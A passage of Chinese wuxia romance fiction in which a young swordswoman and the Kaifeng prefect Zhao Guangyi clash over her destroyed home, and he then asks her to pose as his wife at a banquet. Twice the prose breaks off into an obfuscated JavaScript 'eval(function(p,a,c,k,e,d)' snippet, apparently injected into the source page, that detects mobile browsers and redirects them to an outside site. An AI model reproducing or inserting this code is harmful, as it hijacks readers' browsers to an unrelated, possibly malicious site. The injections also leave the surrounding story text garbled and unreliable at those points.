“他怎么也在啊?”她这般想着,也就不过脑地说出来了。 话一出口,她便后悔了。这可是赵大哥啊,她怎么敢当着赵大哥的面抱怨赵光义。 赵大哥却丝毫不在意,甚至还以为二人关系缓和,便道:“嘿嘿,你怕什么生?少侠,俺跟你讲,他是俺兄弟,你叫他......赵二哥就行。” 赵二哥...... 她再次抬头看向赵光义,只见赵光义微微侧脸,往这边看了看,在听到赵大哥喊“赵二哥”时,身形不由得颤抖起来。 “少侠,叫一声,热热场子。”赵大哥领着她站在赵光义面前,对她笑笑,“少侠有所不知啊,方才这两人可是吵得不可开交。今儿晚饭吃得开不开心,就听少侠叫一声‘赵二哥’,消消他们的气儿了。” 叫赵光义为“赵二哥”? 不是,她对着晋中原的打扮,怎么能将“赵二哥”三字喊出口! 她:“......赵大哥,我......” 赵大哥微微抬眸,问道:“怎么了,少侠,怎么脸这么红?” 她年华尚浅,心事才下眉头,又上心头。连她自己都没察觉,自己怎么能脸这么红,不断提醒自己,千万千万千万不能胆怯。叫一声“赵二哥”怎么了,不过是打个招呼而已,至于这么害羞吗? 她害羞什么啊? 叫一声“赵二哥”,人家赵光义能吃了你不成? 就在她百感纠结之时,后背被赵大哥狠狠推了一把,她往前打了个趔趄,猛地撞进赵光义的肩膀处。额头磕碰坚硬的肩甲,惹得她疼得“嘶”了一声,皱眉捂住了额头。 赵大哥连忙道歉:“少侠,对不起,是俺不好,下手太重了。” 她频频摆手,苦笑道:“无妨无妨,赵大哥,于我而言,这都不算什么伤。” “诶啊,”蒲先生走过来,道,“少侠万万不可这么说啊,小伤也是伤,我差人给你看看。” 这番好意,却被赵大哥抬手制止了。她迷惘地看向赵大哥,只见赵大哥朝赵光义使了个眼色,赵光义就站在一旁装傻充愣,赵大哥有没好气地“啧”了一声,眉目间怒气横生,赵光义这才垂眸看了看她红肿的额头,而后微微松了口。 “光义啊,少侠受伤这事错在你,你还不快点儿,道歉赔罪,麻利儿的!”赵大哥苦口婆心地扮演起家长的职责,开始对赵光义有所指点。 蒲先生意味深长地看着赵大哥这番举动,眸色又暗了暗。本想差人去请府医的,奈何赵大哥执意要求赵光义来处理,他身处高位,自然阅历万千,怎会不解其中之意。对此,当她求助似拼命摇头,蒲先生也只是别过眼,背过身,示意,这是你们仨的事情。 “那烤肉可是要再等些时候了?”蒲先生看着快烧完的炭火,又拿着铁夹往里面堆了点儿,火焰重燃,倒映在她的眼底,映照着她整个人在漆黑的雪夜里,熠熠生辉。 “不用不用,吃肉要紧!” 她神色恢复如初,连忙提着步子,以一种诡异的姿态重出府。突然,又意识到自己没拿钱,便提着步子滴答答跑回来,眼疾手快拿出赵大哥早已准备好的钱,又被赵大哥叫住。 赵大哥说:“诶诶诶,少侠,别着急嘛!是这样的,我二弟呢想吃羊,蒲先生想吃鱼,谁也不肯让步。我看他们啊,争一晚上都争不出什么眉目......倒不如交给少侠你决定吧!” 她目瞪口呆,指着自己,道:“我?我怎么决定?你们怎么连吃的都聊这么高深?” 心想,这吃羊吃鱼不都是吃吗?怎么还能争起来呢?赵光义未免也太小气了吧! “你呢,就拿着这笔钱,去街上看看,能买到啥我们就吃啥。” 她诧异:“诶,这么草率吗?” 蒲先生道:“本于实际,怎么能说‘草率’呢?现在大雪天,商贩估计都跑光了。” 赵大哥将你送到门前:“早去早回,我们都还饿着肚子呢!” 手中握着沉甸甸的通宝,抬脚转身离开之时,恰好同赵光义对视上。赵光义深邃地望向她,而后淡淡地来了句:“速去速回,别让我们久等。” 闻言,赵光义看到她的步伐重重一顿,微微扭头看了一眼他,而后抬脚离去。他看着她,又看看了肩膀上的薄甲,趁着赵大哥和蒲先生去室内暖身的时候,悄悄地将其摘了下来,挂在后腰的腰带上。 会不会太硬了? 下次得让府里的绣工做轻点。 * 赵大哥说的没错,街上的商贩几乎都跑光了,唯独寿昌坊附近还有两个商贩,摊铺前围绕着奚落的人。 她先问了一个离得比较近的商铺,是个屠户。她看着挂满架子的肉,上前询问屠户:“大哥,还有燕云羯羊买吗?” 那屠户抬手,将她打发走了:“没有没有,游侠还请回吧!” “你这是什么态度啊,没有就是没有,生什么气啊,我又没逼你要给我弄一个!”她气不打一处来。 这时,来了一个货商,他上前先是安慰她,而后解释道:“游侠,息怒息怒。最近燕云羊难弄,老板也是让人问烦了,不是针对你的。” “难弄?” “是啊,燕云的契丹人,都是站在河东那边儿,对咱们宋人刁难得很啊!况且那边儿战乱频繁,动荡不安,有时运了羊吧,还会被人打劫,谁还愿意做燕云之地的生意啊!” “啊?官府不管吗?” “管肯定是要管的,但游侠有所不知,这契丹人可不好对付。”货商解释道,“我虽不如官府大人,自幼博文通史,但以我微薄之识,倒也能给游侠讲清楚。首先,魏晋之后,蛮夷南渡中原,中原人 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“多少?九千文?你疯了吧,这不明摆着抢钱吗?” “抢什么钱,什么抢钱?” “寻常一条鱼也不过二三百文,你这也太夸张了吧?怎么,南边儿也乱吗?” 鱼贩摆摆手:“南边儿倒是不乱,只是江南国的苛捐杂税太多了,这一些江南来的物什啊,都带着厘金嘞!” “反正我话给你说在前,这鱼,九千文,不议价。买就交钱,不买就走人。” 什么态度......但也不能饿肚子,她只能将手中的钱袋子给了鱼贩,鱼贩将鱼给她,自己挑着扁担,喊着“收工喽,收工喽”消失于茫茫风雪之中。 她提着这金贵的鲥鱼回到蒲先生的府里,还未见到赵大哥,就听见赵光义和蒲先生有争吵起来了。 蒲先生道:“当西北二边,使一举而下,则二边之患我独而当之......何不姑留俟削评诸国,则弹丸黑志之地,将无所逃。” 赵光义当仁不让:“燕云之地衰微,若此时大举北上,趁虚而入,当可改天换地,一统中原,复之华夏,共之九州。” 赵大哥唉声叹气,听到她的脚步声,转头就看到你手中提着鱼,眼光发亮,挡在你面前,对另外二人道:“各位猜猜,少侠买到了什么?” 赵光义胸有成竹地道:“那必然是羊肉了,燕云比起江南近上许多,货物买卖,更为便利。” 蒲先生道:“不可能啊,燕云虽近,货物买卖,只难不易啊!我猜是鱼肉!” 赵光义反驳道:“难道不能从河东之人手中买?方才大哥也说了,少......她买什么我们就吃什么。” 蒲先生回应道:“不可能啊,河东人自称正统,跟契丹并驾齐驱,更是和宋为敌对,做生意哪有这么容易呢?况且......赵大哥,我方才就跟你讲过,这江南——” 赵大哥抬手戳了戳她的肩膀,她才将藏于身后的鱼放置烤架上。 赵光义:“真是可惜,有鱼无羊,凑不成‘鲜’。” 蒲先生:“呼——吓死我了。赵大哥,你骗我作甚呢?!” “这哪是骗呢?!看你坚不坚定嘛!”赵大哥打趣地道,“还有,二弟啊,虽然凑不成‘鲜’,倒也能凑成‘先’啊!今天吃了鱼,隔天再吃羊,岂不快哉?” 赵大哥招呼道:“来来来,诸位举杯吹雪,卧榻之上定能睡得更香!” 吃饱喝足后,赵大哥和蒲先生喝得东倒西歪,在场只有赵光义没喝酒,尚且清醒。她也喝了点儿,但酒力甚佳,武功高深,倒也不至于醉倒狂澜。赵光义差人收拾起残羹剩饭,就亲自将赵大哥和蒲先生送进房内。 他从里间出来后,见她还在院子里。眸色微微一愣,还是轻叹口气,走上前,道:“少侠,方才大哥让我同你说,若你目前没有住的地儿,今晚就先同他一样,在蒲先生的府里歇息。” 风雪交加,来得更加猛烈。细密的雪花沾染在她的鼻尖,冻得她脸颊通红。她身着单薄,却依然不知冷般,屹立于茫茫天地之间。他老想去看她的眼睛,想她的眼眸中倒映着他的身影。于是,他也真去看了,在她那双眼睛里,似是看到了江山万丈,山水疏狂。 “哦,这是不是太麻烦蒲先生了。”她后退一步,也不知哪股力道牵扯住额头上的伤口,她吃痛,身形不稳,险些歪倒在地上。 赵光义看着她风雨飘摇的样子,一念之间,就料到他还有事没办完。因为有事没办完,所以他不能走,同样也不能放她走。 她也愣愣地望向他,眼里并非拒绝,而是一种复杂。也许她早就知道他们三个人的身份并不简单,也许她什么都知道,只是睁一只眼闭一只眼罢了。很多年后,她才明白,这一晚,赵大哥、赵光义以及蒲先生争论的不仅仅是吃鱼吃羊的问题,而是更为深层的大一统策略。 既然蒙蔽,那便一直蒙蔽下去,直到他们愿意揭开身份的那天,直到她能名正言顺发现他们身份的那天。 “少侠,请随我来。”赵光义难得柔和地道。 5. 轻纵马,趁年华(四) 第五章·轻纵马,趁年华(四) “不要,我为什么要听你的?”她警惕性地往后退了几步,拔出腰间的佩剑横在身前,似乎抱着生死之志。 这番架势,倒是让赵光义吓了一跳。 赵光义方才才在脑海里整理好的辞藻,一一都被她这番夸张的举动粉饰太平。谁料,他微微哼了一声,挑了下眉,摆出一副身为京尹运筹帷幄的样子,显得颇具威严。但她一点也不怕,她平生最烦当官的人,尤其是像赵光义这种大官。 “少侠倒是义正词严,只是这大哥的意思,我为弟弟的,不得不遵从。”赵光义双手一摊,凑上前一步,拉近了些距离,“我并非真心实意要为少侠疗伤,还望少侠放下心中芥蒂,随我走一步。” 不知为何,当赵光义说完“我并非真情实感要为少侠疗伤”时,她的心竟抽痛一下,这种痛,虽不敌不羡仙被绣金楼焚烧殆尽,血海深仇无家可归的痛,而是暗藏在心口,时不时像猫爪子一样,肆意挠两下的痛。 她不露声色地收起剑,抬脚上前,掠过赵光义的肩膀。只是,余光似乎再也瞥不到寒气逼人的肩甲。她趁赵光义不注意,回头看了一眼,只见他腰间挂着那肩甲,上面还凹下去一块,在月光下阴森发冷。 “少侠,是这边。”赵光义在她欲要走错路前,赶忙叫住了她,回到了正确的路上来。 “哦。”她应了一句,顺着赵光义的目光,看到西庭厢房的门,于是,直截了当地超过他的步伐,运用轻功,站在了门边。 赵光义站在门外,看着她这般模样,尤其是看到她倚靠着门扉,怀中抱着佩剑的飒爽模样,眸色竟划过一丝遗憾。 她察觉到了,当时她只认为,他心中骂她不知礼数。对此,她也心暗骂他,不过是懂得点恕约之礼罢了,官府的人,自诩读得圣贤书,来百姓前装装样子。看似讨个百姓欢心,实则是证明自己的私心。 屋里没有充柴火,在寒冷的雪天下,冷得发抖。她一进去后,西庭厢房上的屋瓦往下落了几片,有些直直地砸在赵光义脚边的地板上。她觉得砸的位置太不好了,就应该砸在赵光义的脑袋上,让威风凛凛的京尹大人失了他那倨傲姿态。 赵光义四处寻找,找了些煤炉,而后捧起一簇火,点燃了它们。屋内刹那明亮起来,她看到他捧着那煤炉,那火光从下而上照着他的眉眼,竟有些不由分说的暖意。在一捧火苗中,她又看到了那时的晋中原。 温柔,风发,少年意气。 注意到她的目光,赵光义动作一顿,放下煤炉后,询问道:“西庭厢房,蒲先生已多年未派人打扫,而据我所知,这府里只有这儿还暂有住处。反正少侠不过只暂留一晚,若是住得不舒服,待疗伤完方可回我府上一住。” 她忙地摆手,似乎住他府上宛若进了三更鬼市,拒绝道:“江湖儿女,不拘小节,茅草之地,住的才安稳。” 然而,这番回绝,赵光义并不惊讶,他早就料到她会这样,所幸只能睁一只眼闭一只眼,难分辞咎地悻悻摇头。 “金玉之寸,蓬草之方,心上一隅清安,少侠有成算便好。”赵光义端了盆热水再进来,怀中又揣着几片浮棉,而后拉开一张凳子,让她坐在上面。 所以,这番话,到底是没再说太多了。她惊觉,这是赵光义对她的包容。窗外风雪正盛,赵光义立在窗前,借着火烛,处理着那些浮棉。她看着他的挺拔的身姿,英俊的侧脸,以及挂在腰后的肩甲,内心就像那明灭可见的火烛,跳跃、风吹、翻动,诡异又摇曳。 或许他并没有自己想象中那么坏,至少现在他还肯屈尊为她疗伤。 常常,她分不清现在端着那盆热水的究竟是谁? 晋中原,还是赵光义? “那个......”她微微张口,打破了这份难得的宁静,“我们之前,是不是见过一面?” “见过。”他回答得坦诚,“少侠这是想起来了?” 她撇撇嘴,只觉有些不公:“若不是京尹大人今日穿晋公子的衣服,恐怕我一辈子都再难想起。” 赵光义擦拭着浮棉的手一顿,而后神色复杂地望向她。她坐在煤炉之前,火光勾勒着她的身形,她的眉眼。那时,赵光义竟觉得有些悔恨蔓延心头——她明明知道晋中原就是自己,她明明什么都知道,却在这个时候,特意提起“晋公子”,到底是挑拨离间还是故弄玄虚,恐怕赵光义自己都弄不清楚。 “少侠,其实你可以不用这样。”慢慢地,他的脸又变得狠厉起来,裹挟着庙堂之高的那些机关算尽,那些志在飞鸿,“借着晋公子的名头意有所指。现在,站在你面前,为你疗伤的是开封尹赵光义,仅此而已。” 他捏着浮棉盖住她额头上的伤口,只听她微微“嘶”的一声,他一惊,手中的浮棉落在她的劲装上,带着些温热。 紧张......这是在她捡起掉落的浮棉时,率先有的想法。这次的紧张,并非是樊楼生金瓯聚宝盆时,被众人所指时的紧张,而是另一种心底油然而生的陌生感。 他靠得她是那般近,只要她微微抬眸,定能望见他抿紧的嘴唇,泛红的耳根,与同样紧张而上下滚动的喉结。但她偏不肯抬眸,只低垂着眼,看着自己的手。指尖因为紧张,不停地扣弄着布料,却依稀闻到一阵花香。 淡淡的,不似人间芳菲的艳,而是柔情似水的清。 对她而言,是最痴绝的气味。 她瞥到了赵光义腰间挂着的一只玉楼春。 原来是这朵花的味道。 她细细地观察着,大抵是观察久了,又或是两人都没说话,上方的人退开一步,抬手将腰间挂着的玉楼春放到她的手里。 “少侠若是喜欢这花,我便可送你。”赵光义很快又取来一条布巾,沾了热水,擦拭着她的额头,“你对我大可不用如此恐惧,毕竟我对你应是相当了解。” 她一听,忙地仰头,躲开了布巾,一脸倔强地回望着他。 “你派人偷偷跟着我?从千金散尽后?”她反问,目光又显露出疏离和分寸。 赵光义一脸从容:“千金散尽?少侠可是猜错了。不过,清河虽不在京尹范围内,但本官的眼线可是非常多的。当时千金散尽不想查,着实有些后悔,不然......” “不然什么?” “不然......不羡仙那些人不会......”赵光义自知戳中你的软肋,只能乖乖闭嘴,不再提这些过眼云烟。 她被他点到为止的较量搞得有些悲从中来,只是再想起不羡仙被烧的那晚,那些陪她守护的人,都一一丧失在那场大火里。常常,命运总叫人捉弄,若是千金散尽时,她能尽快结识晋中原,绝非匆匆一面之缘,或许,以他的能力,定能预料到那场浩劫,这样便有时间带着不羡仙众人撤离。 然而,这世间没有可能。 万千造化,敌不过因果弄人。 “白日,你跟着我兄长,我便知道,一初到开封的侠客,马上能与我兄长相照面,定然不简单。更何况,你说你是清河人。我当然知道最近清河经历的那些血债,出于好奇,便派人去查了。” 她并不惊讶,知道他在整个大宋境内的权势可谓只手遮天,便道:“那京尹大人,你究竟查出什么来了?” “查出你身处何地,从哪里来,又到哪里去,身旁都有什么人。”热水渐凉,他拿出一旁的绷带和崭新的浮棉,包扎好她额头上的伤,无力地道,“恕我直言,其余,究竟是蒙尘。” 她一下就来了兴趣,本来此次奔赴江湖,就是要追查江叔和寒姨的去向。既然有人将这等好处端在她眼前,那她就不得不推卸了,只需好心问候便好。 她:“我身处何地?” 赵光义:“神仙渡不羡仙。” 她:“从哪里来?” 赵光义:“还是如此。” 她:“到哪里去?” 赵光义:“寻找故交。” 她:“身旁都有什么人?” 赵光义:“江、陈、寒、周、死人刀等......” 她拍拍手,不错,竟然都答上了。可当赵光义说出“江”“陈”“寒”“周”“死人刀”三个姓氏后,脑海中又勾勒出一个人的脸,那人手握镰刀,长着一张跟寒姨极为相似的脸。她恨极了她,若有朝一日再度遇见,她一定要将她锉骨扬灰,要她在黄泉之下不得好死。她的一条命无法补偿不羡仙全部人命。 “还有呢?” “还有?” “有,还有一个,最重要的一个。” 赵光义微蹙起眉头,思索片刻,大概是查不到线索,只能暂时摇摇头,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495615|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目前只能查到这些。” “大人没法派人去不羡仙查查?”她问道,看似深思熟虑,实则漏洞百出。 “少侠,你有你的执着,我也有我的坚守。”赵光义解释道,“我不能因为你一句话,就派人将不羡仙探查彻底,更不可能派人去这么危险的地方。我府中的人,和我一样,肩负的并非是不羡仙那几条人命,而是天下黎民苍生。” “哐当”一声,搁在一旁装着热水的盆子被她突如其来的力道,摔于地面,尽数粉碎。她从凳子上站起身,学着他狠厉时的样子,剑锋直指他的心口,恨不得这一剑朝他心口刺去。 “几条人命?”她怒从中来,握着剑的手发抖,“怎么可能是几条人命?不羡仙的人命,你、开封尹赵光义赔不起!” 真气袭来,赵光义武功并不敌她,无法抵御这浩荡之气,飞鹰抹额和发绳尽数落于地上,头发披散下来,垂于脊背。他冷哼一声,与方才较为柔和的样子判若两人,他变得孤高,变得狰狞,变得不复从前。 她在质疑他的志向。 他在质疑她的骨气。 赵光义指尖夹住剑锋,头微微一偏,剑锋就擦着他的下颌而过。 “亏我白日还夸少侠聪明,看来真是一点都不聪明。”赵光义坏笑道,“首先,不羡仙的那把火不是我放的,其次,我的人吃我府中的饭,干我府中的活,于我而言,亲同手足,我怎能放心他们去被绣金楼重重围困的不羡仙?” “还有,本官堂堂开封尹,一人之下,万人之上。本官要的不是江湖厮杀,不是快意恩仇,本官要的是沉疴肃清,是河清海晏。”赵光义带着些怒意,“少侠自然有少侠的阳关道要走,然则世间多得是‘朝闻道’,一人之力,怎会全盘兼顾,不过是牺小保大罢了。” “赵光义,你无耻!”她骂道,骂得决绝。 像李贺诗中的宝珏。 “无耻?”赵光义回呛道,“少侠,你所站的位置,并非我的身旁,你怎能以偏概全,对我轻狂?” “少侠今日在开封城扶危济困之时,本官可从李公那儿略听一耳。”赵光义深吸一口气,稳住心神,“不羡仙之劫,本官不能保证少侠。但付温书一案,本官当可保证少侠,待付公子挫骨之伤养好后,本官会派人助他悬壶之梦,一臂之力。” 是了,赵光义这种人,不值得她剖心窝子,将藏于暗处的难捱往事告诉他。又是多少年后,当她再想起,竟觉得江湖中的生杀予夺,儿女情长,都不敌她不知天高地厚的意气风发少年时,那不羡仙的安,那开封府的宁。她是不羡仙的少东家,亦是开封府的黄粱梦。 然而这个时候,她好不容易对赵光义改观的态度,又转瞬回去。 “夜深露重,蒲先生的府中,本官不宜久留。少侠好生休息,日后相见必相安。”赵光义先行一步,走出屋里,替她关上门扉。 茫茫雪夜,街上是打更人的槌子敲地的声音。赵光义在侍卫的护送下进了书房,案牍之间,他找到了付温书一案的公文,用朱砂在上面做了记号,只待明日下朝,拉着兄长一番好生谈谈。 他心绪紊乱,从小到大,第一次有人能这么不知检点地同自己说话。那位少侠,一口一个无耻,却叫他心神不安。 隐隐感觉到体内藏匿着另外一具魂魄,若不是他当时深吸气以稳住心神,恐怕蒲先生和大哥卧榻之上岂能酣眠? 他探灯进入密室,打开几个机关锁,一把修长且保养很好的刀横在架子上。 赵光义不得不承认她的气节,但她更应该有一把开封府的刀。纵然她对自己恶言相向,他是能理解她心头的痛楚和苦衷,他能理解,但因当开封尹当久了,眼里除了人心君恩,难以容得下什么别的东西,所以他不敢表达他的理解,他的怜惜。 她像这把刀,霜雪难催,破竹惊风。 这是爹留给他的遗物。 京兆谁识侠骨香,誓死留痕不知休。 只赠美人金错刀,鸿鹄抟上青云巅。 爹说,有朝一日若遇到什么重要之人,定要将这把刀赠去,也算是给予一种扶摇之志了。 黄尘英雄忠骨,脊背不折,生也坦荡,死也释然。 刀山闯,火海茫。鸿毛浮水,泰山恩重。 此去闻折柳,皎然月如素。青山纵老,人心不朽。 6. 金错刀,侠骨香(一) 第六章·金错刀,侠骨香(一) 那西庭厢房多年蒙灰,夜晚还有叮铃啷当的声响,跟闹鬼一样。她睡得不安稳,醒来后终于明白,为什么赵光义那厮无论多晚都执意要回府住的原因了。凌晨雪退,她是怎样都睡不着了。趁着天光泛起鱼肚白,留了一封信,尽了感谢蒲先生招待的好意,便运起轻功往瓦肆那边跑去。 她觉得江湖之大,何处不是家,没必要在开封大动干戈找个住的地儿,不过过夜还是应该的。她熟门熟路地去了瓦肆,纵使那里三教九流之人分外多,但总比漂泊无定、风餐露宿好很多。 这会儿瓦肆门口没多少人,打更人执着槌子立于门外,看到她风尘仆仆来了,也觉不过江湖人,也松口没搜查,直接让她进去了。她去了二层,找了个角落,蜷缩着身子又睡了一觉。一个时辰过去,她总算是睡了个好觉。 醒来后,她下楼朝一位九流门子弟打听了一下开封城较为好吃的早餐铺,那九流门弟子名叫洛九。 洛九道:“不远处升平桥,桥头处有个早餐铺,他们家的胡辣汤、烩面可是一绝。” 她微微拱手:“感谢洛公子好意。” “诶等等,少侠!”洛九制止她欲要离开的动作,而后歉意地笑了笑,“少侠,最近手头有些紧,可否一起......我日后定会还钱!” 提到钱,可就伤感情了。可眼下她觉得洛九性格也不错,而且她初到开封,昨日还被喂了七日断魂丸,她想,不妨同意了他请求,然后套出点儿解药。反正瓦肆中人,三教九流多的是,七日断魂丸横空出世,那解药便会接踵而至。 “好啊,那就给我带路。”她将佩剑架在脖子上,双手叉腰。 这顿饭可是她坐东,必须有点儿气势。 一路上,洛九叽叽呱呱一路,那小嘴巴拉巴拉说个不停。他接过《东方第一枝》随后翻了翻,而后塞到她手中。 她问道:“报纸有什么好看的?” “诶,少侠这就说得不对了。”洛九道,“今日这报纸那可是精彩!” “哦,怎么说?”她一边问一边翻,直到视线停在了某一页上,步伐悄悄停住了。 那一页说来不过平平无奇,确切来说,对于她和洛九而言,并没有什么太大的关系。毕竟,这开封府的喜事宴,这平民百姓也参与不起啊!但是这堂堂开封府,说来府中那些官人年纪也大了,像李公明这种,成亲也已多年。唯独......也只有...... “哈哈哈哈......”洛九上桥,朗声笑道,“果然人都是有七情六欲的,原先以为京尹大人此生不婚,孤独终老呢,原来是蓄谋已久啊!不过京尹大人不愧是京尹大人,办个喜事宴还上了头条,这定是要搞得满城风雨。” 她听洛九这般说着,心里就更不是滋味。奇怪,明明心里已经恨他恨得要死,明明他成亲对她来说又不是什么损失,可这心头偏偏如打翻的醋汁,酸楚滋味蔓延至额头处昨晚他亲手为她包扎的伤口。 到底在气什么啊? 扪心自问,还是不明白。 只得垂着眉目走在升平桥上,那洛九依然在喋喋不休,天知道他到底有多能说话。 忽然,脚下滚来一蹴鞠,不知谁家孩童清晨在桥上乱跑遗落下来,她正恍着神,还未注意,就踩到了这位“不速之客”,重心未稳,便往前面摔去,是洛九眼疾手快地扶住了她。 “多谢洛公子!”她平复着心口残余的惊慌,对洛九露出了久违的笑容。 洛九也被她的笑弄得双脸通红,十分不自在地道:“小事一桩!” 早餐铺人丁兴隆,蒸汽不断,搞得桥头烟雾弥漫,香飘十里。她和洛九坐在一张空桌子前,而后早餐铺老板为两人上了两盘小菜,又将菜单给了两人。她在洛九的推荐下,点了一碗胡辣汤和一屉酱肉包,洛九为了省钱,就点了一碗春水挂面。 “吃这么点儿?” 她正看着店小二为旁边那桌上着春水挂面,那装面碗小得可怜,凭她的饭量,怕是得点上两三碗才够吃,可旁边那人就点了一碗。 “怕亏少侠的钱,不敢造次。”洛九挠了挠头,愧疚地道。 “这有什么?!”她道,“日后还钱就好,你不还,我会来催的!” 洛九拱手:“知道啦知道啦!” “对了,洛九,你可知道七日断魂丸?” “莫不是谁人研制出来的新药?”洛九摇摇头,“在下才疏学浅,也不精通悬壶。不过,你可以以毒攻毒,看看谁的毒最厉害。” “以毒攻毒?”她不解。 “自然,听闻开封城郊有一毒花名曰‘朝生暮落’,少侠有胆识的话,当可一试。”洛九笑了笑,带着些意味深长。 待他们的菜上来,洛九看来是饿极了,三下五除二就将碗中的春水挂面吃完了。吃完之后,朝她道别,说待会还要会九流门处理点儿事,先行告辞,还约定了还钱的时间,后日辰时,来苏蒙学。 她点点头,囫囵吞枣地应了一句,继续大口喝着胡辣汤。早已听闻河南胡辣汤的芳名,今日之时才喝到,实在是不知怎么用言语来形容,只能说,吃一口定能羽化而登仙。 不多时,她感到头顶上的阳光不见,汤表面漂浮的油花上倒映着一个人影。 接着,人影用扇子敲了敲她的头。 “少侠,”那人影温和地道,“巧遇。” “咳咳咳......”她被吓了一跳,胡辣汤就呛在她的喉间,鲜香麻辣轻轻刺激着她的口腔。 她连忙抄起一个酱肉包起身,闪到一旁,抬眼就看到身着月白色劲装,头戴飞鹰抹额的赵光义执着折扇站于一旁,一脸笑脸盈盈地看着她。 “少侠,我不抢你的包子。”赵光义凑上前一步,道,“不知少侠待会可有时间?我须托少侠办件事,办完后会有不菲报酬。” “没空。我不要。”她咬着酱肉包,冷着脸看着他。 本想着今日要去开封城郊探一眼朝生暮落花的究竟,运气甚佳,这七日断魂丸研制本人便出现了。若是她不从洛九手中接过《东方第一枝》,不知道喜事宴这一新闻,她恐怕是会点头答应的,奈何她看到了,那便不好意思打扰京尹大人的终身大事。 “啧。”赵光义仰头看了看天,又低头看了看她,不怀好意地道,“我可没让你在这时候发挥你‘拾金不昧’的本领。” 他不顾她的反驳,只自顾自地继续:“官家有请淮北军镇李平远将军来开封做客,托本官坐东,遂来说媒。奈何少侠早已知晓,本官志在天下,岂非朝暮,本官一不想不给李平远面子,二不想迎娶李家小姐,需要少侠——” “不露声色浑水搅局?”她接过话,反问道。 “聪明。”赵光义朝老板借来几个油布袋,替她装了剩下的酱肉包,而后道,“计谋很简单,本官早有谋略,不须真刀真枪。” 他走在前头,她便跟在他后头,上了桥拐了弯,再行几里路,就到了大名鼎鼎的开封府。赵光义带着她走了官门进去,穿过茂林修竹,翠玉戴花,转眼便来到赵光义工作的地方。昨夜积雪未消融,府里的下人正用扫帚扫雪,见赵光义来了,忙不迭地打了声招呼。 “传人下去,跟赵普说,本官有事,今日不便招待。”赵光义吩咐道。 他将她安置好,又托侍女去羽衣楼取几件华美的衣裙和妆容,这才转身看向她。她正背对着他,呆呆地望着后院的梨花树。正是初春,梨花含苞待放,洋洋洒洒与昨夜的霜雪融为一体。 她本想在房内闲逛,看一眼传说中的玲珑翠,看一眼千金难求的八音窍,谁知却注意到后院种的梨花树。不羡仙曾有大片大片的梨花树,寒姨的离人泪更是以梨花香为材料,酿制而成。其实她还有些事一直没告诉周红线,当时周红线身上被蚊子蜇的那些脓包,全都是她给周红线沐浴时,故意将梨花膏涂在她的发丝上,故意招蜂引蝶......还有江叔,她记得她会躲在竹林居的屋顶上,趁着江叔抱着两坛酒回来时,故意撒下怀中揣着的梨花瓣,惹得江叔眉头紧皱,话是愈来愈少。 又是一春,不知不羡仙的梨花树是否依然开得旺盛,开得明媚?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495616|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梨花树一年复一年春去久,但梨花树下的人儿,却再也回不到那似水流年般的恰好年华。 “少侠,我方才同你说的话,你听到了吗?” “......” 他叹了口气,侍女便跟在他后面,也走到她的身旁。 赵光义压着心中的不耐烦,还是将话重复了一遍:“金明池御苑喜事宴上,你和我扮作夫妻,不需举止亲密,只需对外表现相濡以沫便好。你我一线,目的在于让李平远打消这一念头,而后快快结束宴席,回来后我会给少侠一份报酬,保证能让少侠满意。” 话语罢了,却看到她眼角泛着的泪光。 赵光义一惊,顺着她的目光看去。 梨花如雪,初透芳菲。 他懂她的泪水,因为当他扮作晋中原去往不羡仙时,也在不羡仙那梨花树下欣赏多时。就连并非生长在不羡仙的他都能被那满树梨花而迷得忘我,更别提本就与不羡仙亲如骨肉的少侠她了。 于是,他甚至说不出他究竟为何会俯身单膝跪地,掏出衣袖中的帕子,替她抹去那滴泪。 她感到帕子的干燥,微微抬眼。她于泪眼朦胧处,梦醒时分前,见到了如花雪般浓灿的他。忽如一阵风吹开开封府的窗子,将枝头白雪梨花吹向她的衣襟前,她捧起它们,犹如儿时将其撒于江叔眼前那般,同样扬起,落于赵光义眉眼、鼻尖、肩头。 “我没哭,逗你玩儿的。”她站起身,装作若无其事地接过侍女递来的衣裙,放在自己身前比了比,而后皱着眉头,道,“羽衣楼的绣工手艺巧夺天工,只是不太衬我。” 赵光义皱起眉头,问道:“可是尺寸不合?” 她摇摇头,将衣服重新还给侍女:“并非,只是我素来劲装便服,穿不起这衣裙。我能保证,可以了京尹大人的愿。” 他大抵是明了她的意思,她不是不想穿,只是穿不惯,而且她自尊分明,进退有节,纵然答应赵光义要将这次计谋贯穿好,但她出身于江湖,素来我行我素,不会因为一次小小的案子,就失去自我。 赵光义望着她的眉眼,看着她帮侍女将衣服和妆容重新送到开封府门前,那羽衣楼的车马还没走。自始至终,他一直注视着她。 不知为何,生长于宫墙之内的他,出身于名门望族,父母功名累累。他是衣食无忧,他是养尊处优,直到十五年前,契丹人屠遍开封城,他才明白,一个人若是老困于方寸之间,这双眼也只能看到匣中之物...... 爹的刀杀不死契丹,娘的刃除不尽河东,哥的枪护不住开封......他一己之力,更救不了天下黎民苍生。他要变得更强,站得更高,才能看到更远。 而他看着她,直到她回过头,不明觉厉地朝自己挥挥手。 那时,他竟生出一丝大逆不道之思——世人要他长于宫闺,但他偏不,他要高处不胜寒,他要江湖知己同。方寸之间已容不得他屈伸,他要和大哥日月同辉,他还要和她千秋同岁,他要后世再也无人书他嫌,他要这盛世为她青史传颂。 “少侠,我不逼你。”赵光义淡淡地道。 